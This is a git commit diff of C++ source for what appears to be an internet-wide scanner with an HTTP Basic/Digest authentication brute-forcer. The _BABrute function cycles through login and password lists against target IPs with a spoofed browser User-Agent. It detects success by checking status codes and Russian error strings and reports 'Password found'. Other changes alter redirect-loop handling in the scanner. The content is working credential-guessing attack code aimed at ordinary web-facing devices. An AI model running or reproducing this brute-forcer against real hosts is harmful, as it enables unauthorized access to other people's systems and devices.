Redirect-loops are now ignored.

This commit is contained in:
cora32 2015-02-28 14:47:21 +03:00
parent 13e3d51257
commit 74f57482fd
2 changed files with 152 additions and 100 deletions

View File

@ -388,7 +388,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
int bTO; int bTO;
bool goon = false; bool goon = false;
char hRqst[REQUEST_MAX_SIZE] = {0}; char hRqst[REQUEST_MAX_SIZE] = {0};
char headerMsg[REQUEST_MAX_SIZE] = {0}; char headerMsg[REQUEST_MAX_SIZE] = { 0 };
char hMsgR[512] = {0}; char hMsgR[512] = {0};
strcpy(hRqst, "GET "); strcpy(hRqst, "GET ");
@ -454,7 +454,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
int x = 1; int x = 1;
int xx = 0; int xx = 0;
while(xx < 512) while (xx < REQUEST_MAX_SIZE)
{ {
x = recvWT(sock, hMsgR, sizeof(hMsgR), gTimeOut + 5, &bTO); x = recvWT(sock, hMsgR, sizeof(hMsgR), gTimeOut + 5, &bTO);
if(x <= 0) break; if(x <= 0) break;
@ -491,6 +491,8 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
&& strstr(headerMsg, ".0 401") == NULL && strstr(headerMsg, ".0 401") == NULL
&& strstr(headerMsg, "<statusValue>401</statusValue>") == NULL && strstr(headerMsg, "<statusValue>401</statusValue>") == NULL
&& strstr(headerMsg, "<statusString>Unauthorized</statusString>") == NULL && strstr(headerMsg, "<statusString>Unauthorized</statusString>") == NULL
&& strstr(headerMsg, "неправильны") == NULL && strstr(headerMsg, "Неправильны") == NULL
&& strstr(headerMsg, "Неправильны") == NULL
) )
{ {
if(strstri(headerMsg, "400 Bad") != NULL) if(strstri(headerMsg, "400 Bad") != NULL)
@ -568,9 +570,9 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
for(int i = 0; i < MaxLogin; i++) for(int i = 0; i < MaxLogin; i++)
{ {
if(globalScanFlag == false) break; if(globalScanFlag == false) break;
for(int j = 0; j < MaxPass; j++) for (int j = 0; j < MaxPass; j++)
{ {
if(globalScanFlag == false) break; if (globalScanFlag == false) break;
ZeroMemory(request, REQUEST_MAX_SIZE); ZeroMemory(request, REQUEST_MAX_SIZE);
ZeroMemory(curLogin, sizeof(curLogin)); ZeroMemory(curLogin, sizeof(curLogin));
@ -578,7 +580,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
strcpy(curLogin, loginLst[i]); strcpy(curLogin, loginLst[i]);
strcpy(curPass, passLst[j]); strcpy(curPass, passLst[j]);
if(strcmp(method, "[DIGEST]") == 0 && strstr(localBuff, "nonce=") != NULL) if (strcmp(method, "[DIGEST]") == 0 && strstr(localBuff, "nonce=") != NULL)
{ {
ZeroMemory(attribute, sizeof(attribute)); ZeroMemory(attribute, sizeof(attribute));
strcpy(attribute, _getAttribute(localBuff, "WWW-Authenticate:")); strcpy(attribute, _getAttribute(localBuff, "WWW-Authenticate:"));
@ -587,7 +589,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
ZeroMemory(realm, sizeof(realm)); ZeroMemory(realm, sizeof(realm));
strcpy(realm, _getAttributeValue(attribute, "realm=", ip, port)); strcpy(realm, _getAttributeValue(attribute, "realm=", ip, port));
ZeroMemory(qop, sizeof(qop)); ZeroMemory(qop, sizeof(qop));
if(strstri(attribute, "qop") != NULL) if (strstri(attribute, "qop") != NULL)
{ {
strcpy(qop, _getAttributeValue(attribute, "qop=", ip, port)); strcpy(qop, _getAttributeValue(attribute, "qop=", ip, port));
}; };
@ -596,19 +598,19 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
strcat(request, path); strcat(request, path);
strcat(request, " HTTP/1.1\r\nHost: "); strcat(request, " HTTP/1.1\r\nHost: ");
strcat(request, ip); strcat(request, ip);
if(port != 80){ if (port != 80){
strcat(request, ":"); strcat(request, ":");
char tbuff[16] = {0}; char tbuff[16] = { 0 };
sprintf(tbuff, "%d", port); sprintf(tbuff, "%d", port);
strcat(request, tbuff); strcat(request, tbuff);
}; };
if(cookieLen != 0) if (cookieLen != 0)
{ {
strcat(request, "\r\nCookie: "); strcat(request, "\r\nCookie: ");
strcat(request, cookie); strcat(request, cookie);
}; };
strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Digest username=\""); strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Digest username=\"");
strcat(request, curLogin); strcat(request, curLogin);
strcat(request, "\", realm=\""); strcat(request, "\", realm=\"");
strcat(request, realm); strcat(request, realm);
@ -618,7 +620,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
strcat(request, path); strcat(request, path);
strcat(request, "\", qop=auth, response=\""); strcat(request, "\", qop=auth, response=\"");
strcat(request, _makeDigestResponse(curLogin, realm, curPass, path, nonce, "10000001", "9d531d56796e0dc9", qop)); strcat(request, _makeDigestResponse(curLogin, realm, curPass, path, nonce, "10000001", "9d531d56796e0dc9", qop));
if(strstri(attribute, "opaque") != NULL) if (strstri(attribute, "opaque") != NULL)
{ {
ZeroMemory(opaque, sizeof(opaque)); ZeroMemory(opaque, sizeof(opaque));
strcpy(opaque, _getAttributeValue(attribute, "opaque=", ip, port)); strcpy(opaque, _getAttributeValue(attribute, "opaque=", ip, port));
@ -639,54 +641,55 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
strcat(request, path); strcat(request, path);
strcat(request, " HTTP/1.1\r\nHost: "); strcat(request, " HTTP/1.1\r\nHost: ");
strcat(request, ip); strcat(request, ip);
if(port != 80){ if (port != 80){
strcat(request, ":"); strcat(request, ":");
char tbuff[16] = {0}; char tbuff[16] = { 0 };
sprintf(tbuff, "%d", port); sprintf(tbuff, "%d", port);
strcat(request, tbuff); strcat(request, tbuff);
}; };
if(cookieLen != 0) if (cookieLen != 0)
{ {
strcat(request, "\r\nCookie: "); strcat(request, "\r\nCookie: ");
strcat(request, cookie); strcat(request, cookie);
}; };
strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Basic "); strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Basic ");
strcat(request, encoded.c_str()); strcat(request, encoded.c_str());
strcat(request, "\r\nConnection: close\r\n\r\n"); strcat(request, "\r\nConnection: close\r\n\r\n");
}; };
if(port == 443) if (port == 443)
{ {
ZeroMemory(recvBuff, sizeof(recvBuff)); ZeroMemory(recvBuff, sizeof(recvBuff));
if(BALogSwitched) stt->doEmitionBAData("Probing SSL:BA " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(tPass) + ";"); if (BALogSwitched) stt->doEmitionBAData("Probing SSL:BA " + QString(ip) + ":" + QString::number(port) + "; login/pass: " + QString(tPass) + ";");
_baSSLWorker(ip, request, recvBuff); _baSSLWorker(ip, request, recvBuff);
dataSz = strlen(recvBuff); dataSz = strlen(recvBuff);
} }
else else
{ {
SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
if(cCode == SOCKET_ERROR) { if (cCode == SOCKET_ERROR) {
int errorCode = WSAGetLastError(); int errorCode = WSAGetLastError();
if(errorCode == WSAENOTSOCK) { if (errorCode == WSAENOTSOCK) {
while(errorCode == WSAENOTSOCK) while (errorCode == WSAENOTSOCK)
{ {
if(gDebugMode) stt->doEmitionDebugFoundData("[BA][ENOTSOCK] - [" + QString(ip) + ":" + QString::number(port) + "]"); if (gDebugMode) stt->doEmitionDebugFoundData("[BA][ENOTSOCK] - [" + QString(ip) + ":" + QString::number(port) + "]");
CSSOCKET(sock); CSSOCKET(sock);
sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
errorCode = WSAGetLastError(); errorCode = WSAGetLastError();
}; };
} else { }
else {
CSSOCKET(sock); CSSOCKET(sock);
if(errorCode != WSAETIMEDOUT) if (errorCode != WSAETIMEDOUT)
{ {
stt->doEmitionRedFoundData("[BA] Cannot connect to " + QString(ip) + "[" + QString::number(errorCode) + "]"); stt->doEmitionRedFoundData("[BA] Cannot connect to " + QString(ip) + "[" + QString::number(errorCode) + "]");
}; };
@ -695,18 +698,19 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
strcpy(lps.login, "UNKNOWN"); strcpy(lps.login, "UNKNOWN");
return lps; return lps;
}; };
} else { }
else {
int x = 1; int x = 1;
Activity += strlen(request); Activity += strlen(request);
if(send(sock, request, strlen(request), 0) != SOCKET_ERROR) if (send(sock, request, strlen(request), 0) != SOCKET_ERROR)
{ {
if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); if (MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request));
dataSz = 0; dataSz = 0;
ZeroMemory(recvBuff2, sizeof(recvBuff2)); ZeroMemory(recvBuff2, sizeof(recvBuff2));
ZeroMemory(recvBuff, sizeof(recvBuff)); ZeroMemory(recvBuff, sizeof(recvBuff));
while (x > 0 && dataSz < 3384) while (x > 0 && dataSz < 3384)
{ {
ZeroMemory(recvBuff2, sizeof(recvBuff2)); ZeroMemory(recvBuff2, sizeof(recvBuff2));
x = recvWT(sock, recvBuff2, sizeof(recvBuff2), gTimeOut + 5, &bTO); x = recvWT(sock, recvBuff2, sizeof(recvBuff2), gTimeOut + 5, &bTO);
@ -715,7 +719,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
Activity += x; Activity += x;
strncat(recvBuff, recvBuff2, x); strncat(recvBuff, recvBuff2, x);
}; };
if(BALogSwitched) stt->doEmitionBAData("Checked BA: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " + QString(curLogin) + ":" + QString(curPass) + "; - Progress: (" + QString::number((passCounter/(double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); if (BALogSwitched) stt->doEmitionBAData("Checked BA: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " + QString(curLogin) + ":" + QString(curPass) + "; - Progress: (" + QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
} }
else else
{ {
@ -730,10 +734,10 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
CSSOCKET(sock); CSSOCKET(sock);
}; };
if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff));
if(dataSz == 0) if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff));
if (dataSz == 0)
{ {
stt->doEmitionBAData("[BA] No reply from: " + QString(ip) + "; Repeating..."); stt->doEmitionBAData("[BA] No reply from: " + QString(ip) + "; Repeating...");
--j; --j;
@ -744,19 +748,34 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
++passCounter; ++passCounter;
}; };
if(strcmp(method, "[DIGEST]") == 0) if (strcmp(method, "[DIGEST]") == 0)
{ {
ZeroMemory(localBuff, sizeof(localBuff)); ZeroMemory(localBuff, sizeof(localBuff));
strcpy(localBuff, recvBuff); strcpy(localBuff, recvBuff);
}; };
if (strstri(recvBuff, "http/1.1 401") != NULL
if(strstri(recvBuff, "http/1.1 401") == NULL || strstri(recvBuff, "http/1.0 401") != NULL)
|| strstri(recvBuff, "http/1.0 401") == NULL
)
{ {
///dummy/// Sleep(200);
} } else
else if(strstri(recvBuff, "503 service unavailable") != NULL //if(strstri(recvBuff, "http/1.1 401") == NULL
// || strstri(recvBuff, "http/1.0 401") == NULL
// )
//{
// if ((strstri(recvBuff, "200 ok") != NULL
// || strstri(recvBuff, "http/1.0 200") != NULL
// || strstri(recvBuff, "http/1.1 200") != NULL
// )
// && strstr(headerMsg, "неправильны") == NULL
// && strstr(headerMsg, "Неправильны") == NULL
// && strstr(headerMsg, "Неправильны") == NULL)
// {
// }
// stt->doEmition_BARedData("[.] 503/400/403 - Waiting 30sec (" + QString(ip) + ":" + QString::number(port) + ")");
// Sleep(200);
// ///dummy///
//}
if(strstri(recvBuff, "503 service unavailable") != NULL
|| strstri(recvBuff, "http/1.1 503") != NULL || strstri(recvBuff, "http/1.1 503") != NULL
|| strstri(recvBuff, "http/1.0 503") != NULL || strstri(recvBuff, "http/1.0 503") != NULL
|| strstr(recvBuff, "400 BAD_REQUEST") != NULL || strstr(recvBuff, "400 BAD_REQUEST") != NULL
@ -783,13 +802,16 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
strcpy(lps.login, "UNKNOWN"); strcpy(lps.login, "UNKNOWN");
return lps; return lps;
} }
else if( (strstri(recvBuff, "200 ok") != NULL else if ((strstri(recvBuff, "200 ok") != NULL
|| strstri(recvBuff, "http/1.0 200") != NULL || strstri(recvBuff, "http/1.0 200") != NULL
|| strstri(recvBuff, "http/1.1 200") != NULL
) )
&& strstri(recvBuff, "http/1.1 401 ") == NULL && strstri(recvBuff, "http/1.1 401 ") == NULL
&& strstri(recvBuff, "http/1.0 401 ") == NULL && strstri(recvBuff, "http/1.0 401 ") == NULL
&& strstr(headerMsg, "<statusValue>401</statusValue>") == NULL && strstr(headerMsg, "<statusValue>401</statusValue>") == NULL
&& strstr(headerMsg, "<statusString>Unauthorized</statusString>") == NULL && strstr(headerMsg, "<statusString>Unauthorized</statusString>") == NULL
&& strstr(headerMsg, "неправильны") == NULL && strstr(headerMsg, "Неправильны") == NULL
&& strstr(headerMsg, "Неправильны") == NULL
&& dataSz > 13 && dataSz > 13
) )
{ {
@ -812,32 +834,36 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
} }
else else
{ {
ZeroMemory(pass, sizeof(pass)); if (strstri(headerMsg, "неправильны") == NULL
strcpy(pass, ip); && strstri(headerMsg, "Неправильны") == NULL)
strcat(pass, " - Password found: ");
strcat(pass, tPass);
isActive = 0;
char *pt1 = strstr(recvBuff, " ");
if(pt1 != NULL)
{ {
char *pt2 = strstr(pt1 + 1, " "); ZeroMemory(pass, sizeof(pass));
if(pt2 != NULL) sprintf(pass, "%s - Password found: %s", ip, tPass);
char *pt1 = strstr(recvBuff, " ");
if(pt1 != NULL)
{ {
int sz = pt2 - pt1 - 1; char *pt2 = strstr(pt1 + 1, " ");
char tempHeaderCode[16] = {0}; if(pt2 != NULL)
strncpy(tempHeaderCode, pt1 + 1, sz); {
int sz = pt2 - pt1 - 1;
char tempHeaderCode[16] = {0};
strncpy(tempHeaderCode, pt1 + 1, sz);
if(strcmp(tempHeaderCode, "302") == 0 && strcmp(tempHeaderCode, "200") == 0) stt->doEmitionYellowFoundData("[+] No/unexpected HTTP header detected (" + QString(tempHeaderCode) + ") IP: <a style=\"color: #efe100;\" href=\"http://" + QString(ip) + ":" + QString::number(port) + "\">" + QString(ip) + ":" + QString::number(port) + "</a>"); if(strcmp(tempHeaderCode, "302") == 0 && strcmp(tempHeaderCode, "200") == 0) stt->doEmitionYellowFoundData("[+] No/unexpected HTTP header detected (" + QString(tempHeaderCode) + ") IP: <a style=\"color: #efe100;\" href=\"http://" + QString(ip) + ":" + QString::number(port) + "\">" + QString(ip) + ":" + QString::number(port) + "</a>");
strcpy(lps.login, curLogin); strcpy(lps.login, curLogin);
strcpy(lps.pass, curPass); strcpy(lps.pass, curPass);
return lps; return lps;
};
}; };
}; stt->doEmitionYellowFoundData("[+] No/unexpected HTTP header detected (?) IP: <a style=\"color: #efe100;\" href=\"http://" + QString(ip) + ":" + QString::number(port) + "\">" + QString(ip) + ":" + QString::number(port) + "</a>");
stt->doEmitionYellowFoundData("[+] No/unexpected HTTP header detected (?) IP: <a style=\"color: #efe100;\" href=\"http://" + QString(ip) + ":" + QString::number(port) + "\">" + QString(ip) + ":" + QString::number(port) + "</a>"); strcpy(lps.login, curLogin);
strcpy(lps.login, curLogin); strcpy(lps.pass, curPass);
strcpy(lps.pass, curPass); isActive = 0;
return lps; return lps;
}
else Sleep(200);
}; };
if(strstr(recvBuff, "Set-Cookie:") != NULL) if(strstr(recvBuff, "Set-Cookie:") != NULL)
{ {
ZeroMemory(cookie, COOKIE_MAX_SIZE); ZeroMemory(cookie, COOKIE_MAX_SIZE);

View File

@ -1990,7 +1990,6 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
strcpy(tempPath, "/"); strcpy(tempPath, "/");
}; };
strcpy(mes, rbuff1); strcpy(mes, rbuff1);
if(tempPath[0] != '/') strcat(mes, "/"); if(tempPath[0] != '/') strcat(mes, "/");
strcat(mes, tempPath); strcat(mes, tempPath);
@ -2027,7 +2026,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
strcpy(ps->path, tempPath); strcpy(ps->path, tempPath);
delete []cstr.lowerBuff; delete []cstr.lowerBuff;
return 0; return -1;
}; };
if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12 if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12
|| ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10) || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10)
@ -2040,17 +2039,26 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
delete []cstr.lowerBuff; delete []cstr.lowerBuff;
return ls->flag; return -2;
}; };
if(ls->flag == 6) if(ls->flag == 6)
{ {
ps->flag = ls->flag; ps->flag = ls->flag;
ps->port = tempPort; ps->port = tempPort;
return ls->flag; return -2;
}; };
strcat(ps->headr, " -> "); strcat(ps->headr, " -> ");
strcat(ps->headr, GetTitle(cstr.lowerBuff)); strcat(ps->headr, GetTitle(cstr.lowerBuff));
ls->_header(tempIP, tempPort, cstr.lowerBuff, ls, ps, redirStrLst, buff); if (ls->_header(tempIP, tempPort, cstr.lowerBuff, ls, ps, redirStrLst, buff) == -1)
{
ps->flag = -1;
strcpy(ps->headr, "[IGNR_ADDR]");
strcpy(ps->path, tempPath);
delete[]cstr.lowerBuff;
return -1;
};
ps->port = tempPort; ps->port = tempPort;
if(strlen(cstr.lowerBuff) < 1) if(strlen(cstr.lowerBuff) < 1)
{ {
@ -2072,10 +2080,11 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
if(gNegDebugMode) stt->doEmitionDebugFoundData("[<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "/\"><font color=\"#0084ff\">" + QString(ip) + ":" + QString::number(port) + "</font></a>" + "] Rejecting in _header::redirect [Dead host]."); if(gNegDebugMode) stt->doEmitionDebugFoundData("[<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "/\"><font color=\"#0084ff\">" + QString(ip) + ":" + QString::number(port) + "</font></a>" + "] Rejecting in _header::redirect [Dead host].");
}; };
return 0; return -2;
} }
else if(strstr(str, "http://") != NULL) //http else if(strstr(str, "http://") != NULL) //http
{ {
tempPort = 80;
char *ptr1 = strstri(str, "http://"); char *ptr1 = strstri(str, "http://");
char *ptr2 = _findFirst(str + 7, ":/?"); char *ptr2 = _findFirst(str + 7, ":/?");
if(ptr2 != NULL) if(ptr2 != NULL)
@ -2123,7 +2132,6 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
strcpy(tempPath, "/"); strcpy(tempPath, "/");
}; };
if(tempPort == 0) tempPort = port;
strcpy(mes, rbuff1); strcpy(mes, rbuff1);
if(tempPath[0] != '/') strcat(mes, "/"); if(tempPath[0] != '/') strcat(mes, "/");
strcat(mes, tempPath); strcat(mes, tempPath);
@ -2172,17 +2180,25 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
ps->port = tempPort; ps->port = tempPort;
strcpy(ps->ip, tempIP); strcpy(ps->ip, tempIP);
return ls->flag; return -2;
}; };
if(ls->flag == 6) if(ls->flag == 6)
{ {
ps->flag = ls->flag; ps->flag = ls->flag;
ps->port = tempPort; ps->port = tempPort;
return ls->flag; return -2;
}; };
strcat(ps->headr, " -> "); strcat(ps->headr, " -> ");
strcat(ps->headr, GetTitle(cstr.lowerBuff)); strcat(ps->headr, GetTitle(cstr.lowerBuff));
ls->_header(tempIP, tempPort, cstr.lowerBuff, ls, ps, redirStrLst, buff); if (ls->_header(tempIP, tempPort, cstr.lowerBuff, ls, ps, redirStrLst, buff) == -1)
{
ps->flag = -1;
strcpy(ps->headr, "[IGNR_ADDR]");
strcpy(ps->path, tempPath);
delete[]cstr.lowerBuff;
return -1;
};
ps->port = tempPort; ps->port = tempPort;
if(strlen(cstr.lowerBuff) < 1) if(strlen(cstr.lowerBuff) < 1)
@ -2204,7 +2220,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
ls->flag = -1; ls->flag = -1;
if(gNegDebugMode) stt->doEmitionDebugFoundData("[<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "/\"><font color=\"#0084ff\">" + QString(ip) + ":" + QString::number(port) + "</font></a>" + "] Rejecting in _header::redirect [Dead host]."); if(gNegDebugMode) stt->doEmitionDebugFoundData("[<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "/\"><font color=\"#0084ff\">" + QString(ip) + ":" + QString::number(port) + "</font></a>" + "] Rejecting in _header::redirect [Dead host].");
}; };
return 0; return -2;
} }
else if(str[0] == '/' || (str[0] == '.' && str[1] == '/') || (str[0] == '.' && str[1] == '.' && str[2] == '/')) else if(str[0] == '/' || (str[0] == '.' && str[1] == '/') || (str[0] == '.' && str[1] == '.' && str[2] == '/'))
{ {
@ -2270,17 +2286,25 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
ps->port = port; ps->port = port;
strcpy(ps->ip, ip); strcpy(ps->ip, ip);
return ls->flag; return -2;
}; };
if(ls->flag == 6) if(ls->flag == 6)
{ {
ps->flag = ls->flag; ps->flag = ls->flag;
ps->port = tempPort; ps->port = tempPort;
return ls->flag; return -2;
}; };
strcat(ps->headr, "->"); strcat(ps->headr, "->");
strcat(ps->headr, GetTitle(cstr.lowerBuff)); strcat(ps->headr, GetTitle(cstr.lowerBuff));
ls->_header(ip, port, cstr.lowerBuff, ls, ps, redirStrLst, buff); if (ls->_header(tempIP, tempPort, cstr.lowerBuff, ls, ps, redirStrLst, buff) == -1)
{
ps->flag = -1;
strcpy(ps->headr, "[IGNR_ADDR]");
strcpy(ps->path, tempPath);
delete[]cstr.lowerBuff;
return -1;
};
ps->port = tempPort; ps->port = tempPort;
if(strlen(cstr.lowerBuff) < 1) if(strlen(cstr.lowerBuff) < 1)
{ {
@ -2301,7 +2325,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
ls->flag = -1; ls->flag = -1;
if(gNegDebugMode) stt->doEmitionDebugFoundData("[<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "/\"><font color=\"#0084ff\">" + QString(ip) + ":" + QString::number(port) + "</font></a>" + "] Rejecting in _header::redirect [Dead host]."); if(gNegDebugMode) stt->doEmitionDebugFoundData("[<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "/\"><font color=\"#0084ff\">" + QString(ip) + ":" + QString::number(port) + "</font></a>" + "] Rejecting in _header::redirect [Dead host].");
}; };
return 0; return -2;
} }
else if(strlen(str) > 2) else if(strlen(str) > 2)
{ {
@ -2343,6 +2367,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
return -1; return -1;
}; };
if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12 if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12
|| ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10) || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10)
{ {
@ -2353,13 +2378,14 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
ps->port = port; ps->port = port;
strcpy(ps->ip, ip); strcpy(ps->ip, ip);
return ls->flag; return -2;
}; };
if(ls->flag == 6) if(ls->flag == 6)
{ {
ps->flag = ls->flag; ps->flag = ls->flag;
ps->port = tempPort; ps->port = tempPort;
return ls->flag; return -2;
}; };
strcat(ps->headr, " -> "); strcat(ps->headr, " -> ");
strcat(ps->headr, GetTitle(cstr.lowerBuff)); strcat(ps->headr, GetTitle(cstr.lowerBuff));
@ -2385,7 +2411,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
ls->flag = -1; ls->flag = -1;
if(gNegDebugMode) stt->doEmitionDebugFoundData("[<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "/\"><font color=\"#0084ff\">" + QString(ip) + ":" + QString::number(port) + "</font></a>" + "] Rejecting in _header::redirect [Dead host]."); if(gNegDebugMode) stt->doEmitionDebugFoundData("[<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "/\"><font color=\"#0084ff\">" + QString(ip) + ":" + QString::number(port) + "</font></a>" + "] Rejecting in _header::redirect [Dead host].");
}; };
return 0; return -2;
}; };
return -1; return -1;
@ -2655,8 +2681,8 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std:
if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end())
{ {
redirStrLst->push_back(redirectStr); redirStrLst->push_back(redirectStr);
redirectReconnect(ps->cookie, ip, port, newLoc, l, ps, redirStrLst, rBuff); return redirectReconnect(ps->cookie, ip, port, newLoc, l, ps, redirStrLst, rBuff);
}; } return -1;
return -2; return -2;
}; };
}; };
@ -2680,8 +2706,8 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std:
if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end())
{ {
redirStrLst->push_back(redirectStr); redirStrLst->push_back(redirectStr);
redirectReconnect(ps->cookie, ip, port, newLoc, l, ps, redirStrLst, rBuff); return redirectReconnect(ps->cookie, ip, port, newLoc, l, ps, redirStrLst, rBuff);
}; } return -1;
return -2; return -2;
}; };
}; };
@ -2744,8 +2770,8 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std:
if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end())
{ {
redirStrLst->push_back(redirectStr); redirStrLst->push_back(redirectStr);
redirectReconnect(ps->cookie, ip, port, temp3, l, ps, redirStrLst, rBuff); return redirectReconnect(ps->cookie, ip, port, temp3, l, ps, redirStrLst, rBuff);
}; } return -1;
strcat(ps->headr, " "); strcat(ps->headr, " ");
return -2; return -2;
}; };
@ -2840,8 +2866,8 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std:
if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end())
{ {
redirStrLst->push_back(redirectStr); redirStrLst->push_back(redirectStr);
redirectReconnect(ps->cookie, ip, port, linkPtr, l, ps, redirStrLst, rBuff); return redirectReconnect(ps->cookie, ip, port, linkPtr, l, ps, redirStrLst, rBuff);
}; } return -1;
}; };
delete []scriptContainer; delete []scriptContainer;
if(ps->flag >= 17 || ps->flag == 11 || ps->flag == 12 if(ps->flag >= 17 || ps->flag == 11 || ps->flag == 12
@ -2954,8 +2980,8 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std:
